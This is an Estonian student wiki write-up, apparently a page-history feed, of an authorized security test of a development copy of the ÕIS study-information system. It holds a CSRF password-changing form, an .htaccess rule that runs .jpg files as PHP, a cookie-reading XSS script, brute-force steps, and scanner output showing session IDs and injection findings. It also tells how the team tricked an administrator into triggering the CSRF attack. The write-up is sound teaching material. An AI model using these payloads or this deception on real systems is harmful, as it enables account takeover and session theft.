   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;continue&amp;quot; value=&amp;quot;%2Fet%2Fsetting%3Fuser_id%3D2227&amp;quot; id=&amp;quot;continue&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password&amp;quot; id=&amp;quot;password&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password_check&amp;quot; id=&amp;quot;password_check&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;Setpassword&amp;quot; id=&amp;quot;Setpassword&amp;quot; value=&amp;quot;Muuda salasõna&amp;quot; /&amp;gt;&lt;br /&gt;
  &amp;lt;/form&amp;gt;&lt;br /&gt;
 &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]&lt;br /&gt;
&lt;br /&gt;
Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .php .jpg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Laadisime mõlemad failid Enose veebiserverisse avalikult. &lt;br /&gt;
&lt;br /&gt;
Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki. &lt;br /&gt;
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.&lt;br /&gt;
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle. &lt;br /&gt;
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.&lt;br /&gt;
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail. &lt;br /&gt;
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja. &lt;br /&gt;
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud &amp;quot;test123&amp;quot;-ks ja me saime ligipääsu administraatori õigustes kontole. &lt;br /&gt;
Rünnak oli edukas.&lt;br /&gt;
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]&lt;br /&gt;
&lt;br /&gt;
Andsime teada Valterile teada, et tegelikult tegime salajase ründe. &lt;br /&gt;
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha. &lt;br /&gt;
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug&#039;iga.&lt;br /&gt;
&lt;br /&gt;
Kuna tegu oli ÕIS&#039;i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.&lt;br /&gt;
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
===Burp suite===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Esimese asjane peale Burp suite käivitamist. Tabilt proxy  -&amp;gt;intercept -&amp;gt;intercept off&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)&amp;lt;br&amp;gt;&lt;br /&gt;
Proxy  -&amp;gt; options alt lülitada sisse proxy listner pordile 8080 .&amp;lt;br&amp;gt;&lt;br /&gt;
Ohvri valimine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida intruder -&amp;gt; target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.&amp;lt;br&amp;gt;&lt;br /&gt;
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.&amp;lt;br&amp;gt;site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.&lt;br /&gt;
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.&amp;lt;br&amp;gt;&lt;br /&gt;
Targer-&amp;gt;scope -&amp;gt; exclude  frome scope ja veenduda at välja on arvatud logout laused.&amp;lt;br&amp;gt;&lt;br /&gt;
Spideringi sisselülitamine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida tab Spide ning sealt panna linnuke kasti spider running.&amp;lt;br&amp;gt;&lt;br /&gt;
Ning oledki valmis saama laheküljelt infot.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.&lt;br /&gt;
&lt;br /&gt;
==Nessuse algkäivitamine==&lt;br /&gt;
Valida backtrackist  vulnerability scannerite alt nessus ning edasi nessus register .&amp;lt;br&amp;gt; Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.&amp;lt;br&amp;gt; Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)&amp;lt;br&amp;gt;&lt;br /&gt;
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt valida nessus start.&amp;lt;br&amp;gt;&lt;br /&gt;
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834 &lt;br /&gt;
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.&amp;lt;br&amp;gt;&lt;br /&gt;
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
==Väike upload tegevus, mis võiks olla teisiti==&lt;br /&gt;
Ajal mil on avatud stipendiumi taotlemine on võimalik uploadida üles dokumente, et anda lisainformatsiooni abitoetuse taotlemiseks.&lt;br /&gt;
Testimisel selgus, et hetkel üles on võimalik üles laadida ükskõik mis laiendiga faile.&lt;br /&gt;
Proovisime üles laadida: &lt;br /&gt;
&amp;lt;li&amp;gt;filmi&lt;br /&gt;
&amp;lt;li&amp;gt;exe &lt;br /&gt;
&amp;lt;li&amp;gt;jpm faile &lt;br /&gt;
&amp;lt;br&amp;gt;kõik läks läbi ja sai uploadida.&lt;br /&gt;
&amp;lt;br&amp;gt;Sellises kohas võiks olla süsteem tehtud &amp;lt;b&amp;gt;whitelisti&amp;lt;/b&amp;gt; põhimõttel,&lt;br /&gt;
&amp;lt;br&amp;gt;et lubatud oleks ainult: &lt;br /&gt;
&amp;lt;li&amp;gt;.doc &lt;br /&gt;
&amp;lt;li&amp;gt;.docx &lt;br /&gt;
&amp;lt;li&amp;gt;.pdf &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]&lt;br /&gt;
Backtarcki keskkonnas sai testitud programmi w3af.&lt;br /&gt;
&lt;br /&gt;
==== Backtrack: w3af ====&lt;br /&gt;
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]&lt;br /&gt;
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]&lt;br /&gt;
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]&lt;br /&gt;
Võimalik kätte saada SSL Certificate.&lt;br /&gt;
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:&lt;br /&gt;
  https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?&lt;br /&gt;
  username=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&amp;amp;continue=&amp;amp;Login=Logi sisse&amp;amp;pw=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
Programmi sisestatud andmetega ka mitte:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Basic HTTP Authentication:&lt;br /&gt;
    basicAuthUser: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthPass: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthDomain: http://itcollege.dev.ois.ee&lt;br /&gt;
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Cookies&lt;br /&gt;
    cookieJarFile: /root/Desktop/&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;ois_cookie.txt&amp;lt;/font&amp;gt;&lt;br /&gt;
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:&lt;br /&gt;
  # Netscape HTTP Cookie File&lt;br /&gt;
  .dev.ois.ee	TRUE	/	FALSE	1731510001	itcollege_OIS_SESSION_ID	&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;870aqllryuw3cmf6cv8ellha03&amp;lt;/font&amp;gt;&lt;br /&gt;
Esimene rida on nõutav! Teiste tähendused:&lt;br /&gt;
  domain - The domain that created and that can read the variable.&lt;br /&gt;
  flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.&lt;br /&gt;
    This value is set automatically by the browser, depending on the value you set for domain.&lt;br /&gt;
  path - The path within the domain that the variable is valid for.&lt;br /&gt;
  secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.&lt;br /&gt;
  expiration - The UNIX time that the variable will expire on.&lt;br /&gt;
  name - The name of the variable.&lt;br /&gt;
  value - The value of the variable.&lt;br /&gt;
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:&lt;br /&gt;
  Edit -&amp;gt; Preferences -&amp;gt; Privacy -&amp;gt; History -&amp;gt; remove individual cookies&lt;br /&gt;
    Search: itcollege.dev.ois.ee&lt;br /&gt;
    Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skänneerimine:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The page language is: en&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; has a &amp;quot;&amp;lt;form&amp;gt;&amp;quot; element with auto-complete enabled.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;A comment with the string &amp;quot;&amp;lt;p&amp;amp;gt;tunne end kui koolis&amp;lt;/p&amp;amp;gt;&amp;quot; was found in: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Found a form login. The action of the form is: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  The username field to be used is: &amp;quot;username&amp;quot;.&lt;br /&gt;
  The password field to be used is: &amp;quot;pw&amp;quot;.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;Found authentication credentials to: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;. A correct user and password combination is: Administrador/6666666&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  Antud kasutaja ja parooliga sisse ei saanud.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; returned a response that may contain a &amp;quot;SHA1&amp;quot; hash. The hash is: &amp;quot;c7b39896de5f296b5a44c2dfcd9f0600b2cf424d&amp;quot;. This is uncommon and requires human verification.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; sent these cookies:&amp;lt;/li&amp;gt;&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/&lt;br /&gt;
&amp;lt;li&amp;gt;The SMTP settings in emailReport plugin seem to be incorrect. Original error: &amp;quot;[Errno 111] Connection refused&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Kui tuleb see veateade, siis skänn katkeb.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;SQL injection in a Unknown database was found at: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;, using HTTP method POST.&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The sent post-data was: &amp;quot;username=John8212&amp;amp;security_key_sis_global=d&#039;z&amp;quot;0&amp;amp;Login=Logi%20sisse&amp;amp;continue=56&amp;amp;pw=FrAmE30.&amp;quot;.&lt;br /&gt;
    The modified parameter was &amp;quot;security_key_sis_global&amp;quot;. This vulnerability was found in the request with id 390.&lt;br /&gt;
&amp;lt;li&amp;gt;Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt&amp;lt;/li&amp;gt;&lt;br /&gt;
  User-agent: *&lt;br /&gt;
  Disallow: /&lt;br /&gt;
  Allow: /curriculum&lt;br /&gt;
  Allow: /subject&lt;br /&gt;
  Allow: /diploma&lt;br /&gt;
  Allow: /schedule/ical&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 4. päev - Presentatsiooni tegemine ja esitlemine ==&lt;br /&gt;
&lt;br /&gt;
Koostasime presentatsiooni ja esitlemine.&lt;br /&gt;
&lt;br /&gt;
[[Media:Security_team_presentation.ppt]]&lt;br /&gt;
&lt;br /&gt;
== Arvamused intensiivõppe nädala kohta ==&lt;br /&gt;
&lt;br /&gt;
Sander: Õppisime erinevaid testprogramme ja testkeskkondi kasutama, mida varem kunagi kasutanud polnud. Suutsime avastada nii mõnegi vea, mida varem avastatud ei olnud. Usun, et ÕIS on nüüd kasvõi veidigi turvalisem. Soovitan ka teistele tudengitele intensiivõppenädalal osalemist, kuna valides õige teema võib olla päris huvitav tegeleda millegagi, mida varem teinud pole või mida tegelikult lihtsalt ei ole lubatud teha.&lt;br /&gt;
&lt;br /&gt;
Urmo: Intensiivõppe nädalaga sai õpitud nii mõndagi huvitavat veebiturve ja selle testimise kohta. Kuna aega oli vähe, siis sai hulgaliselt kogemust ja oskust reaalselt planeerida mahukat tööd täiesti nullist kuni reaalse rakendatava tulemuseni ning pani proovile stressitaluvuse tõestamaks pinge all jätkusuutlikku töötamist. Intensiivõppe nädalal võiksid osaleda kõik, kellel väheke tahtmist midagi uurida ja korda saata ning saada reaalset töökogemust ennem töömaailma sukeldumist.&lt;br /&gt;
&lt;br /&gt;
== Tegijad ==&lt;br /&gt;
Alo Konno A21&lt;br /&gt;
&lt;br /&gt;
Urmo Lihten A21&lt;br /&gt;
&lt;br /&gt;
Taavi Podžuks A22&lt;br /&gt;
&lt;br /&gt;
Matis Alliksoo A22&lt;br /&gt;
&lt;br /&gt;
Sander Saarm A22&lt;br /&gt;
&lt;br /&gt;
== Juhendajad ==&lt;br /&gt;
Mart Mangus&lt;br /&gt;
&lt;br /&gt;
Margus Ernits&lt;br /&gt;
&lt;br /&gt;
Valter Kungla&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47015</id>
		<title>Security team</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47015"/>
		<updated>2012-03-30T10:30:14Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: /* 4. päev - Presentatsiooni tegemine ja esitlemine */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== 1. päev - Materjalidega tutvumine ==&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project&lt;br /&gt;
&lt;br /&gt;
    A1: Injection - Urmo&lt;br /&gt;
    A2: Cross-Site Scripting (XSS) - Alo&lt;br /&gt;
    A3: Broken Authentication and Session Management - Sander&lt;br /&gt;
    A4: Insecure Direct Object References - Alo&lt;br /&gt;
    A5: Cross-Site Request Forgery (CSRF) - Taavi&lt;br /&gt;
    A6: Security Misconfiguration - Matis&lt;br /&gt;
    A7: Insecure Cryptographic Storage - Matis&lt;br /&gt;
    A8: Failure to Restrict URL Access - Urmo&lt;br /&gt;
    A9: Insufficient Transport Layer Protection - Taavi&lt;br /&gt;
    A10: Unvalidated Redirects and Forwards - Sander&lt;br /&gt;
&lt;br /&gt;
Sanderi konspekt: [[Media:Ois_materjal.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]]&lt;br /&gt;
Taavi esitlus [[https://wiki.itcollege.ee/index.php/File:A9.pdf]]&lt;br /&gt;
Taavi esitlus [[https://wiki.itcollege.ee/index.php/File:A5.pdf]]&lt;br /&gt;
&lt;br /&gt;
== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==&lt;br /&gt;
===Security Team tegevusplaan===&lt;br /&gt;
1.	Päev&lt;br /&gt;
 1.1	Tutvuda OWASP’iga. &lt;br /&gt;
 1.2	Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.&lt;br /&gt;
 1.3	Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.&lt;br /&gt;
2.	Päev&lt;br /&gt;
 2.1	Esitada tiimi tegevusplaan.&lt;br /&gt;
 2.2	Tutvuda turvariskidega natuke põhjalikumalt.&lt;br /&gt;
 2.3	Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.&lt;br /&gt;
 2.4	Täiendada esimese päeva ettekannet.&lt;br /&gt;
3.	Päev&lt;br /&gt;
 3.1	Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.&lt;br /&gt;
 3.2	Saadud tulemuste dokumenteerimine.&lt;br /&gt;
4.	Päev&lt;br /&gt;
 4.1	Saadud tulemuste esitlemine ettekandega&lt;br /&gt;
5.	Päev&lt;br /&gt;
 5.1	Tulemuste parandamine wiki’s.&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
&lt;br /&gt;
http://www.acunetix.com/support/vulnerability-checks.htm&lt;br /&gt;
http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting&lt;br /&gt;
http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting&lt;br /&gt;
http://www.youtube.com/watch?v=SG1cvGQ971g&lt;br /&gt;
http://www.isecom.org/research.html&lt;br /&gt;
http://evuln.com/tools/&lt;br /&gt;
http://sectools.org/tag/web-scanners/&lt;br /&gt;
http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/getting-started.htm&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:&lt;br /&gt;
Acunetix Web Vulnerability Scanner v. 8&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/&lt;br /&gt;
&lt;br /&gt;
Pärast programmi installimist tuli seadistada skännimine, valisime keskmie põhjalikkusega skänni.&lt;br /&gt;
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.&lt;br /&gt;
Antud programm võimaldab skännida:&lt;br /&gt;
Cross-Site Scripting (XSS)&lt;br /&gt;
SQL Injection (blind test)&lt;br /&gt;
File inclusion&lt;br /&gt;
Code Execution&lt;br /&gt;
LDAP Injection&lt;br /&gt;
Cross Frame Scripting&lt;br /&gt;
SQL Injection (error msg. test)&lt;br /&gt;
CRLF Injection&lt;br /&gt;
Directory Travelsal&lt;br /&gt;
XPath Injection&lt;br /&gt;
URL Redirection&lt;br /&gt;
Application Error Message&lt;br /&gt;
&lt;br /&gt;
Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
&lt;br /&gt;
Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.&lt;br /&gt;
&lt;br /&gt;
Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application&#039;i.&lt;br /&gt;
&lt;br /&gt;
==== Brute Force (DVWA) ====&lt;br /&gt;
Käsitsi välja uuritud login andmed:&lt;br /&gt;
kasutajanimi: admin&lt;br /&gt;
parool: password&lt;br /&gt;
&lt;br /&gt;
===== Fireforce plugin Firefoxis =====&lt;br /&gt;
Tekitatud sai ka password list faili pass.txt.&lt;br /&gt;
&lt;br /&gt;
Kasutusel oli Firefox brauser, kuhu installisime plugin&#039;a Fireforce. &lt;br /&gt;
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .&lt;br /&gt;
&lt;br /&gt;
Panime kasutajanimeks &amp;quot;admin&amp;quot; ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.&lt;br /&gt;
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud. &lt;br /&gt;
Selleks sai sõna &amp;quot;incorrect&amp;quot;.&lt;br /&gt;
Määrata ära tuli ka, et mitu päringut sekundis tehakse. &lt;br /&gt;
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada. &lt;br /&gt;
Päringute tegemise kiirus vähem kui 1 päring/sekundis.&lt;br /&gt;
&lt;br /&gt;
Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.&lt;br /&gt;
Kasutasime ka videos näidatud &amp;quot;@ DICTIONARY&amp;quot; teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.&lt;br /&gt;
&lt;br /&gt;
Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.&lt;br /&gt;
&lt;br /&gt;
===== Burpsuite v1.4 =====&lt;br /&gt;
Burpsuite v1.4 on Samurai WTF&#039;il olemas juba sees ja saab kohe käima panna.&lt;br /&gt;
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI&#039;st]]&lt;br /&gt;
&lt;br /&gt;
Programm on juba loomult keerulisem. &lt;br /&gt;
Burpsuite&#039;iga tuleb panna käima proxy server localhost&#039;is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.&lt;br /&gt;
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine. &lt;br /&gt;
Läbi proxy serveri tuleb BurpSuite&#039;ile kohale vastava veebilehe Header sisselogimise kohta.&lt;br /&gt;
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.&lt;br /&gt;
Payload&#039;i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.&lt;br /&gt;
Ründe stiiliks määrata Pitchfork.&lt;br /&gt;
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.&lt;br /&gt;
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.&lt;br /&gt;
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -&amp;gt; Start Attack, mis siis alustas rünnet. &lt;br /&gt;
Kahjuks ka see rünne ei toiminud teadmata põhjusel. &lt;br /&gt;
Proovitud sai ka lühemate nimekirjadega ja edutult. &lt;br /&gt;
&lt;br /&gt;
Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt. &lt;br /&gt;
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.&lt;br /&gt;
&lt;br /&gt;
==== CSRF - Cross-site request forgery ====&lt;br /&gt;
Katsetamine toimub koos Taaviga.&lt;br /&gt;
&lt;br /&gt;
Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.&lt;br /&gt;
&lt;br /&gt;
Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.&lt;br /&gt;
&lt;br /&gt;
Lõime uue faili - crosssite.txt&lt;br /&gt;
&lt;br /&gt;
DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.&lt;br /&gt;
Võtsime lehe Source Code lahti&lt;br /&gt;
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.&lt;br /&gt;
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.&lt;br /&gt;
Current Password lahtri jätsime samaks.&lt;br /&gt;
Ülejäänud kahe uue passwordi fieldi type&#039;iks määrasime &amp;quot;Hidden&amp;quot; ja value&#039;deks &amp;quot;admin&amp;quot;.&lt;br /&gt;
Salvestasime faili ja käivitasime selle.&lt;br /&gt;
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.&lt;br /&gt;
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna &amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
&lt;br /&gt;
Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
==== Reflected Cross Site Scripting (XSS)  ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Lehel on selline Form:&amp;lt;/li&amp;gt;&lt;br /&gt;
[[Image:Xsstesting.jpg|Location=&amp;quot;left&amp;quot;|Caption|]]&lt;br /&gt;
&amp;lt;br&amp;gt;Form väljastab : Hello „sisestatud nimi“&lt;br /&gt;
&amp;lt;li&amp;gt;Easy puhul:&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Saab sisestada textboxi skripti:&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    alert(document.cookie.match(/PHPSESSID=[^;\]+/));&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.&amp;lt;/li&amp;gt;&lt;br /&gt;
